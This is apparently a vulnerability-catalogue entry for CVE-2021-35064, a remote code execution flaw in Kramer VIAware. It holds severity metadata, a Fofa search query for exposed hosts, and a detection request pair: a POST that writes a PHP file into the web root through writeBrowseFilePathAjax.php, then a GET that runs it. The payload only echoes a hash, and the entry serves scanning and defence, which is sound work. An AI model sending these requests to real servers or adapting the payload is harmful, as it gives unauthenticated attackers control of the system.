| Title | Kramer VIAware - Privilege Escalation and Remote Code Execution |
|---|---|
| Author | ritikchaddha |
| Severity | Critical |
| Impact | Unauthenticated attackers can execute arbitrary PHP code via file upload, leading to complete server compromise and control over the Kramer VIAware system. |
| Remediation | Apply the latest firmware update provided by Kramer to fix misconfigured sudoers permissions and ensure proper validation in the web interface. |
| CVSS Score | 9.8 |
| EPSS Score | 0.82326 |
| CVE ID | CVE-2021-35064 |
| CWE ID | CWE-269 |
| Fofa Query | icon_hash="1521468900" |
| Tags | cve2021 cve viaware kramer edb rce intrusive kramerav vkev vuln |
Kramer VIAware, all tested versions, allow privilege escalation and remote code execution due to misconfigured sudo permissions. Attackers can execute arbitrary system commands remotely if the web interface is accessible, due to vulnerabilities in the handling of privileged operations through ajaxPages/writeBrowseFilePathAjax.php and improper sudoers configurations.
POST /ajaxPages/writeBrowseFilePathAjax.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
Connection: close
Content-Length: 138
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
radioBtnVal=%3C%3Fphp+echo+md5%28%22CVE-2021-35064%22%29%3B+%3F%3E&associateFileName=%2Fvar%2Fwww%2Fhtml%2F38FLXMjMH22TZTlLdxt48mRpT6u.php
GET /38FLXMjMH22TZTlLdxt48mRpT6u.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:1.9.6.20) Gecko/ Firefox/3.6.19
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-35064.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-35064.pcap
N/AN/A